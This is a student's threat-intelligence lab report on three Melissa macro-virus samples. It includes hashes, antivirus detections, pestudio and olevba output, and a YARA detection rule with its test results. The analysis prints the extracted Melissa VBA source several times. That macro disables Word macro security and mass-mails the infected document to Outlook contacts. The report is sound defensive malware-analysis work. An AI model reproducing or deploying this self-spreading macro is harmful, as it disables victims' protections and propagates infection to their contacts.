

Threat Intelligence - Lab 6
Submitted By: Sarathkumar MC – MT20ACS531
Melissa Virus Analysis

Table of Contents		
S.No	File Name	Page No
1	Sample 1 - sample_lab6_18_sep	2
2	Sample 2 - 6492459335057408.zip	5
3	Sample 3 - 5644464565682176 .zip	8
4	Yara rule	10

Sample 1

File Name	sample_lab6_18_sep
SHA256	b3d734f08b01361edce0bde55f3b21b7befcdcf7fb442789098e8614c67fcdbf
VirusTotal	https://www.virustotal.com/gui/file/b3d734f08b01361edce0bde55f3b21b7befcdcf7fb442789098e8614c67fcdbf
Alienvault OTX	https://otx.alienvault.com/indicator/file/b3d734f08b01361edce0bde55f3b21b7befcdcf7fb442789098e8614c67fcdbf
File Signature	Starts with "D0 CF" that corresponds to doc, xls, ppt, msg files by Microsoft
Malware Classification	W97M/Melissa.A, Virus.MSWord.Melissa

Screenshots:

VirusTotal

54 / 64

54 security vendors flagged this file as malicious

b3d734f08b01361edce0bde55f3b21b7befcdcf7fb442789098e8614c67fcdbf
sd9ekkb.dll

44.00 KB Size
2020-11-19 00:29:08 UTC
10 months ago

create-ole doc exe-pattern macros

DETECTION	DETAILS	RELATIONS	COMMUNITY
Ad-Aware	VB:Trojan.Emeka.398	AegisLab	Virus.MSWord.Melissa.ntc
AhnLab-V3	W97M/Assilem.F	ALYac	VB:Trojan.Emeka.398
Antiy-AVL	Virus/MSWord.Melissa	Arcabit	HEUR.VBA.V1
Avast	MO97-Downloader-LI [Trj]	AVG	MO97-Downloader-LI [Trj]
Avira (no cloud)	W97M/Melissa.A.1	Baidu	MSWord.Virus.War.c
BitDefender	VB:Trojan.Emeka.398	CAT-QuickHeal	W97M.PSD.A
ClamAV	Win.Trojan.Psycho-3	Comodo	Virus.W97M.Melissa.A@7dke5g

OTX:

FILEHASH - SHA256
b3d734f08b01361edce0bde55f3b21b7befcdcf7fb442789098e8614c67fcdbf

Pulses: 0 | AV Detections: 2 | IDS Detections: 0 | YARA Detections: 0 | Alerts: 0

Analysis Overview

Analysis Date	6 years ago	File Type	CDF - Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.0, Code page: 1250, Title: ZARZ, Author: UrzZd Miasta, Template: Normal, Last Saved By: UM Olsztyn, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 21:00, Last Printed: Thu May 5 08:33:00 2005, Create Time/Date: Thu May 5 07:11:00 2005, Last Saved Time/Date: Tue May 17 09:04:00 2005, Number of Pages: 1, Number of Words: 496, Number of Characters: 2979, Security: 0
File Score	3 Medium Risk	Size	44 KB (45056 bytes)
Antivirus Detections	W97M/Melissa, WM.Psycho	MD5	1f2cda0739dfffca3002e5caa12bbf9
Related Pulses	None	SHA1	0a3f52c2c45a94fb212bb02ffcae6deee96a7ed
Related Tags	None	SHA256	b3d734f08b01361edce0bde55f3b21b7befcdcf7fb442789098e8614

[illegible]

pestudio 9.16 - Malware Initial Assessment - www.winitor.com [d:\share\lab 5\sample\sample_lab6_18_sep]

file settings about

d:\share\lab 5\sample\sample_lab6_18_sep

- indicators (8)
 - virustotal (54/64)
 - strings (547)

encoding (2)	size (bytes)	file-offset	blacklist (0)	hint (13)	group (0)	value (547)
ascii	4	0x00009713	-	utility	-	at_d
ascii	12	0x0000A5D6	-	utility	-	CreatesObject
ascii	5	0x0000A606	-	utility	-	Login
ascii	4	0x0000A769	-	utility	-	Send
unicode	64	0x0000340C	-	size	-	ci przez cudzoziemca w rozumieniu ustawy z dnia 24 marca 1920r.
ascii	21	0x00005554	-	office	-	Microsoft Office Word
ascii	13	0x0000A49E	-	office	-	Document_Open
unicode	10	0x00007600	-	office	-	Root Entry
unicode	18	0x00007782	-	office	-	SummaryInformation
unicode	26	0x00007802	-	office	-	DocumentSummaryInformation
unicode	6	0x00007880	-	office	-	Macros
ascii	5	0x000095C7	-	keyboard	-	Space
ascii	19	0x00008B11	-	file	-	Outlook Application
ascii	4	0x00002222	-	-	-	h1b1
ascii	4	0x00001946	-	-	-	h11S
ascii	4	0x00001950	-	-	-	h11S
ascii	4	0x00001958	-	-	-	h11S
ascii	4	0x00001970	-	-	-	h11S
ascii	4	0x00001986	-	-	-	h11S
ascii	4	0x00001998	-	-	-	h11S
ascii	4	0x000019AE	-	-	-	h11S
ascii	4	0x000019C2	-	-	-	h11S
ascii	4	0x000019CE	-	-	-	h11S
ascii	4	0x000019DC	-	-	-	h11S
ascii	4	0x000019F2	-	-	-	h11S
ascii	4	0x00002FE6	-	-	-	h11S
ascii	4	0x00002FF4	-	-	-	h11S
ascii	42	0x00003EDA	-	-	-	urn:schemas-microsoft-com:office-smarttags
ascii	15	0x00003F06	-	-	-	metricconverter
ascii	7	0x00003F25	-	-	-	1132 m2
ascii	5	0x00003F2E	-	-	-	153 m
ascii	6	0x00003F35	-	-	-	662 m2

	encoding (2)	size (bytes)	file-offset	blacklist (0)	hint (13)	group (0)	value (547)
ad	ascii	8	0x00007E0E	-	-	-	9Z.DLLHi
indicators (8)	ascii	5	0x00007E18	-	-	-	P 8.0
virustotal (54/64)	ascii	7	0x00007E2D	-	-	-	e@lissa
strings (547)	ascii	61	0x00008983	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security
	ascii	5	0x000089C5	-	-	-	Level
	ascii	11	0x000089E9	-	-	-	Security...
	ascii	5	0x000089F9	-	-	-	Macro
	ascii	61	0x00008A21	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security
	ascii	5	0x00008A63	-	-	-	Level
	ascii	5	0x00008A81	-	-	-	Macro
	ascii	5	0x00008A8B	-	-	-	Tools
	ascii	5	0x00008B39	-	-	-	MAP1
	ascii	44	0x00008B53	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\
	ascii	9	0x00008B83	-	-	-	Melissa?
	ascii	14	0x00008B99	-	-	-	...by Kwijibo
	ascii	7	0x00008BB3	-	-	-	Outlook
	ascii	7	0x00008BC7	-	-	-	profile
	ascii	9	0x00008BD3	-	-	-	password.
	ascii	23	0x00008CD7	-	-	-	Important Message From
	ascii	67	0x00008D07	-	-	-	Here is that document you asked for ... don't show anyone else :-)
	ascii	14	0x00008DAF	-	-	-	...by Kwijibo
	ascii	44	0x00008DC5	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\
	ascii	9	0x00008DF5	-	-	-	Melissa?
	ascii	7	0x00008E87	-	-	-	Melissa
	ascii	7	0x00008ED7	-	-	-	Melissa
	ascii	7	0x00008F07	-	-	-	Melissa
	ascii	7	0x00008F57	-	-	-	Melissa
	ascii	28	0x00008FEF	-	-	-	Private Sub Document_Closed()
	ascii	27	0x000090D7	-	-	-	Private Sub Document_Open()
	ascii	9	0x00009199	-	-	-	Document_
	ascii	9	0x000091D8	-	-	-	Document_
	ascii	31	0x00009209	-	-	-	WORD/Melissa written by Kwijibo

OLEVBA

Type	Keyword	Description
AutoExec	Document_Open	Runs when the Word or Publisher document is opened
AutoExec	Document_Close	Runs when the Word document is closed
Suspicious	CreateObject	May create an OLE object
Suspicious	VBProject	May attempt to modify the VBA code (self-modification)
Suspicious	VBComponents	May attempt to modify the VBA code (self-modification)
Suspicious	CodeModule	May attempt to modify the VBA code (self-modification)
Suspicious	AddFromString	May attempt to modify the VBA code (self-modification)
Suspicious	System	May run an executable file or a system command on a Mac (if combined with libc.dylib)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Suspicious	VBA Stomping	VBA Stomping was detected: the VBA source code and P-code are different, this may have been used to hide malicious code

VB Script extracted using olevba

```

Type: OLE
-----
VBA MACRO Melissa.cls
in file: sample_lab6_l8_sep - OLE stream: u'Macros/VBA/Melissa'
-----
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1 &
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff

```

Sample 2

File Name	6492459335057408.zip
SHA256	0a56baab11a888b2741bffc5fe7a52596b58f1d8e842770b21de82bd12a20484
VirusTotal	https://www.virustotal.com/gui/file/0a56baab11a888b2741bffc5fe7a52596b58f1d8e842770b21de82bd12a20484
Alienvault OTX	https://otx.alienvault.com/indicator/file/0a56baab11a888b2741bffc5fe7a52596b58f1d8e842770b21de82bd12a20484
File Signature	Starts with "D0 CF" that corresponds to doc, xls, ppt, msg files by Microsoft
Malware Classification	W97M/Melissa.A, Virus.MSWord.Melissa

Screenshots

VirusTotal

0a56baab11a888b2741bffc5fe7a52596b58f1d8e842770b21de82bd12a20484

42 / 61

42 security vendors flagged this file as malicious

0a56baab11a888b2741bffc5fe7a52596b58f1d8e842770b21de82bd12a20484
1.同材质声明函(1).doc

40.50 KB Size
2021-09-08 08:37:56 UTC
9 days ago

calls-wmi clipboard create-ole doc exe-pattern macros

DETECTION	DETAILS	RELATIONS	BEHAVIOR	COMMUNITY
Ad-Aware	VB:Trojan.Emeka.398	AhnLab-V3	W97M/Assilem.F	
ALYac	VB:Trojan.Emeka.398	Antiy-AVL	Trojan/Generic.ASMacro.3C3	
Arcabit	HEUR.VBA.V1	Avast	VBS:Agent-SF [Wrm]	
AVG	VBS:Agent-SF [Wrm]	Avira (no cloud)	HEUR/Macro.Word2000	
Baidu	MSWord.Virus.Warc	BitDefender	VB:Trojan.Emeka.398	
CAT-QuickHeal	W97M.PSD.A	ClamAV	Win.Trojan.Psycho-3	
Comodo	Virus.W97M.Melissa.A@7dke5g	Cynet	Malicious (score: 70)	

OTX

FILEHASH - SHA256
0a56baab11a888b2741bffc5fe7a52596b58f1d8e842770b21de82bd12a20484 [Add to Pulse +](#)

Analysis Overview

Analysis Date: 1 week ago

File Score: 13 Malicious

Antivirus Detections: VBS:Agent-SF [Wrm], Win.Trojan.Psycho-3, Virus:W97M/Melissa.A

Alerts: network_icmp, network_cnc_http, network_http, network_http_post, allocates_rwx, creates_hidden_file, document_close, document_open, protection_rx

IPs Contacted: 52.109.2.0, 52.109.8.25, 52.109.88.34, 52.109.88.37

Domains Contacted: nexus.officeapps.live.com, nexusrules.officeapps.live.com, officeclient.microsoft.com

Related Pulses: None

Related Tags: None

File Type: CDF - Composite Document File V2 Document, Little Endian, Os: W... [More](#)

Size: 40 KB (41472 bytes)

MD5: 02cd26ed2813d996d4d9d1277636dd91 [View](#)

SHA1: 09987b23986d7b9f80ef495bbac3e15d917202a2 [View](#)

SHA256: 0a56baab11a888b2741bffc5fe7a52596b58f1d8e842770b21de82bd [View](#)

External Resources: [VirusTotal](#)

Screenshots:

PEStudio

file settings about

d:\share\lab 6\samples\6492459335057408\0a56b

indicators (6)

virusotal (42/61)

strings (381)

file-offset	blacklist (0)	hint (28)	group (0)	value (381)
0x00007B8E	-	-	-	Tools
0x00007C1C	-	-	-	MAPI
0x00007C36	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\
0x00007C66	-	-	-	Melissa?
0x00007C7C	-	-	-	... by Kwijibo
0x00007C96	-	-	-	Outlook
0x00007CAA	-	-	-	profile
0x00007CB6	-	-	-	password
0x00007DBA	-	-	-	Important Message From
0x00007DEA	-	-	-	Here is that document you asked for ... don't show anyone else :-)
0x00007E92	-	-	-	... by Kwijibo
0x00007EA8	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\
0x00007ED8	-	-	-	Melissa?
0x00007F6A	-	-	-	Melissa
0x00007FBA	-	-	-	Melissa
0x00007FEA	-	-	-	Melissa
0x0000803A	-	-	-	Melissa
0x000080D2	-	-	-	Private Sub Document_Close()
0x000081BA	-	-	-	Private Sub Document_Open()
0x0000827C	-	-	-	Document
0x000082BE	-	-	-	Document
0x000082EC	-	-	-	WORD/Melissa written by Kwijibo
0x00008314	-	-	-	Works in both Word 2000 and Word 97
0x00008344	-	-	-	Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
0x0000838C	-	-	-	Word -> Email Word 97 <-> Word 2000 ... it's a new age!
0x000083E4	-	-	-	Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game'...
0x00008480	-	-	-	Attribut
0x00008489	-	-	-	e VB_Nam
0x00008492	-	-	-	e = "Mel
0x00008499	-	-	-	issa"\\n
0x000084A9	-	-	-	x1Nor

Olevba

Type	Keyword	Description
AutoExec	Document_Open	Runs when the Word or Publisher document is opened
AutoExec	Document_Close	Runs when the Word document is closed
Suspicious	CreateObject	May create an OLE object
Suspicious	VBProject	May attempt to modify the VBA code (self-modification)
Suspicious	VBAComponents	May attempt to modify the VBA code (self-modification)
Suspicious	codemodule	May attempt to modify the VBA code (self-modification)
Suspicious	AddFromString	May attempt to modify the VBA code (self-modification)
Suspicious	System	May run an executable file or a system command on a Mac (if combined with libc.dylib)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)

VB Script extracted from Sample

```
1 Private Sub Document_Open()  
2 On Error Resume Next  
3 If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then  
4 CommandBars("Macro").Controls("Security...").Enabled = FALSE  
5 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 16  
6 Else  
7 CommandBars("Tools").Controls("Macro").Enabled = FALSE  
8 Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)  
9 End If  
10 Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice  
11 Set UngaDasOutlook = CreateObject("Outlook.Application")  
12 Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")  
13 If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then  
14 If UngaDasOutlook = "Outlook" Then  
15 DasMapiName.Logon "profile", "password"  
16 For y = 1 To DasMapiName.AddressLists.Count  
17 Set AddyBook = DasMapiName.AddressLists(y)  
18 x = 1  
19 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)  
20 For oo = 1 To AddyBook.AddressEntries.Count  
21 Peep = AddyBook.AddressEntries(x)  
22 BreakUmOffASlice.Recipients.Add Peep  
23 x = x + 1  
24 If x > 50 Then oo = AddyBook.AddressEntries.Count  
25 Next oo  
26 BreakUmOffASlice.Subject = "Important Message From " & Application.UserName  
27 BreakUmOffASlice.Body = "Here Is that document you asked For ... 't show anyone else ;-)"  
28 BreakUmOffASlice.Attachments.Add ActiveDocument.FullName  
29 BreakUmOffASlice.Send  
30 Peep = ""  
31 Next y  
32 DasMapiName.Logoff  
33 End If  
34 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"  
35 End If  
36 Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)  
37 Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
```

Sample 2

File Name	5644464565682176.zip
SHA256	ff05182a14ea139b331217159f327a24cf826ef1173262ae47823df7cbfa747c
VirusTotal	https://www.virustotal.com/gui/file/ff05182a14ea139b331217159f327a24cf826ef1173262ae47823df7cbfa747c
File Signature	Starts with “D0 CF” that corresponds to doc, xls, ppt, msg files by Microsoft
Malware Classification	W97M/Melissa.A, Virus.MSWord.Melissa

Screenshots

VirusTotal

<https://www.virustotal.com/gui/file/ff05182a14ea139b331217159f327a24cf826ef1173262ae47823df7cbfa747c>

ff05182a14ea139b331217159f327a24cf826ef1173262ae47823df7cbfa747c

47 / 61

47 security vendors flagged this file as malicious

ff05182a14ea139b331217159f327a24cf826ef1173262ae47823df7cbfa747c
jgkO9u8m.dll

51.50 KB Size
2021-09-09 14:15:06 UTC 8 days ago

create-ole doc exe-pattern macros

DETECTION	DETAILS	RELATIONS	BEHAVIOR	COMMUNITY
Ad-Aware	VB:Trojan.Emeka.398	AhnLab-V3	W97M/VMPCk1.BY	
ALYac	VB:Trojan.Emeka.398	Antiy-AVL	Trojan.Generic.ASMacro.9CF	
Avast	MO97:Downloader-LI [Trj]	AVG	MO97:Downloader-LI [Trj]	
Avira (no cloud)	W97M/Vmpck2-g.1	Baidu	MSWord.Virus.War.c	
BitDefender	VB:Trojan.Emeka.398	CAT-QuickHeal	W97M.PSD.A	
ClamAV	Win.Trojan.Psycho-3	Comodo	Virus.W97M.Melissa.A@7dke5g	
Cynet	Malicious (score: 99)	Cyren	W97M/Melissa.A@mm	

PEStudio:

pestudio 9.16 - Malware Initial Assessment - www.winitor.com [d:\malwareanalysis\lab 6\samples\ff05182a14ea139b331217159f327a24cf826ef1173262ae47823df7cbfa747c]

encoding (2)	size (bytes)	file-offset	blacklist (0)	hint (21)	group (0)	value (693)
ascii	16	0x0000827C	-	-	-	ing all (my .lt
ascii	6	0x0000828D	-	-	-	.I GO
ascii	11	0x0000829D	-	-	-	'm.outtad.h
ascii	61	0x00008883	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security
ascii	5	0x000088C5	-	-	-	Level
ascii	11	0x000088E9	-	-	-	Security...
ascii	5	0x000088F9	-	-	-	Macro
ascii	61	0x00008C21	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security
ascii	5	0x00008C63	-	-	-	Level
ascii	5	0x00008C81	-	-	-	Macro
ascii	5	0x00008C88	-	-	-	Tools
ascii	5	0x00008D39	-	-	-	MAPI
ascii	44	0x00008D53	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\
ascii	9	0x00008D83	-	-	-	Melissa?
ascii	14	0x00008D99	-	-	-	...by Kwojiba
ascii	7	0x00008D83	-	-	-	Outlook
ascii	7	0x00008DC7	-	-	-	profile
ascii	9	0x00008D03	-	-	-	password
ascii	23	0x00008ED7	-	-	-	Important Message From
ascii	67	0x00008F07	-	-	-	Here is that document you asked for ... don't show anyone else :-)
ascii	4	0x00008F77	-	-	-	...
ascii	7	0x00008F9D	-	-	-	Activch
ascii	14	0x00008FAF	-	-	-	...by Kwojiba
ascii	44	0x00008FC5	-	-	-	HKEY_CURRENT_USER\Software\Microsoft\Office\
ascii	9	0x00008FF5	-	-	-	Melissa?
ascii	7	0x00009087	-	-	-	Melissa
ascii	7	0x000090D7	-	-	-	Melissa
ascii	7	0x00009107	-	-	-	Melissa
ascii	7	0x00009157	-	-	-	Melissa
ascii	28	0x000091EF	-	-	-	Private Sub Document_Close()
ascii	27	0x000092D7	-	-	-	Private Sub Document_Open()
ascii	9	0x00009399	-	-	-	Document-

Type	Keyword	Description
AutoExec	AutoOpen	Runs when the Word document is opened
AutoExec	Document_Open	Runs when the Word or Publisher document is opened
AutoExec	Document_Close	Runs when the Word document is closed
Suspicious	CreateObject	May create an OLE object
Suspicious	Call	May call a DLL using Excel 4 Macros (XLM/XLF)
Suspicious	VBProject	May attempt to modify the VBA code (self-modification)
Suspicious	VBAComponents	May attempt to modify the VBA code (self-modification)
Suspicious	CodeModule	May attempt to modify the VBA code (self-modification)
Suspicious	AddFromStrings	May attempt to modify the VBA code (self-modification)
Suspicious	System	May run an executable file or a system command on a Mac (if combined with libc.dylib)
Suspicious	Hex Strings	Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Suspicious	VBA Stomping	VBA Stomping was detected: the VBA source code and P-code are different, this may have been used to hide malicious code

VB Script Extracted from Malware Sample

```

1 Private Sub Document_Open()
2     On Error Resume Next
3     If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
4         CommandBars("Macro").Controls("Security...").Enabled = FALSE
5         System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
6     Else
7         CommandBars("Tools").Controls("Macro").Enabled = FALSE
8         Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
9     End If
10    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
11    Set UngaDasOutlook = CreateObject("Outlook.Application")
12    Set DasMapiName = UngaDasOutlook.GetNamespace("MAPI")
13    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
14        If UngaDasOutlook = "Outlook" Then
15            DasMapiName.Logon "profile", "password"
16            For y = 1 To DasMapiName.AddressLists.Count
17                Set AddyBook = DasMapiName.AddressLists(y)
18                x = 1
19                Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
20                For oo = 1 To AddyBook.AddressEntries.Count
21                    Peep = AddyBook.AddressEntries(x)
22                    BreakUmOffASlice.Recipients.Add Peep
23                    x = x + 1
24                    If x > 50 Then oo = AddyBook.AddressEntries.Count
25                Next oo
26                BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
27                BreakUmOffASlice.Body = "Here Is that document you asked For ... 't show anyone else ;-)"
28                BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
29                BreakUmOffASlice.Send
30                Peep = ""
31            Next y
32            DasMapiName.Logoff
33        End If
34        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = "... by Kwyjibo"
35    End If
36    Set AD11 = ActiveDocument.VBProject.VBComponents.Item(1)
37    Set NT11 = NormalTemplate.VBProject.VBComponents.Item(1)

```

Yara Rule

rule MicrosoftMelissa

{

meta:

description = "MicrosoftMelissa is a virus that speads over outlook"

os = "mswindows"

filetype = "Macro"

maltype = "Virus"

strings:

\$melissa0 = "Important Message From"

\$melissa1 = "Here is that document you asked for ... don't show anyone else ;-)"

\$melissa2 = "WORD/Melissa written by Kwyjibo"

\$melissa3 = "Works in both Word 2000 and Word 97"

\$melissa4 = "Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!"

\$melissa5 = "Word -> Email | Word 97 <--> Word 2000 ... it's a new age!"

condition:

all of (\$melissa*)

}

Yara Rules

```
D: > Share > Lab 2021-09-18 > SarathMelissa.yara
1 rule MicrosoftMelissa
2 {
3     meta:
4         description = "MicrosoftMelissa is a virus that spreads over outlook"
5         os = "mswindows"
6         filetype = "Macro"
7         maltype = "Virus"
8
9     strings:
10        $melissa0 = "Important Message From"
11        $melissa1 = "Here is that document you asked for ... don't show anyone else ;-)"
12        $melissa2 = "WORD/Melissa written by Kwyjibo"
13        $melissa3 = "Works in both Word 2000 and Word 97"
14        $melissa4 = "Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!"
15        $melissa5 = "Word -> Email | Word 97 <--> Word 2000 ... it's a new age!"
16
17    condition:
18        all of ( $melissa* )
19 }
```

Output

```
FLARE Sat 09/18/2021 0:21:48.70
D:\Share\Lab 2021-09-18>yara64 SarathMelissa.yara ./Samples
MicrosoftMelissa ./Samples\0a56baab11a888b2741bffc5fe7a52596b58f1d8e842770b21de82bd12a20484
MicrosoftMelissa ./Samples\ff05182a14ea139b331217159f327a24cf826ef1173262ae47823df7cbfa747c
MicrosoftMelissa ./Samples\sample_lab6_18_sep
```

Conclusion:

Thus, Yara rules have been identified and written for the given malwares and it is able to find and filter out the Melissa infected files.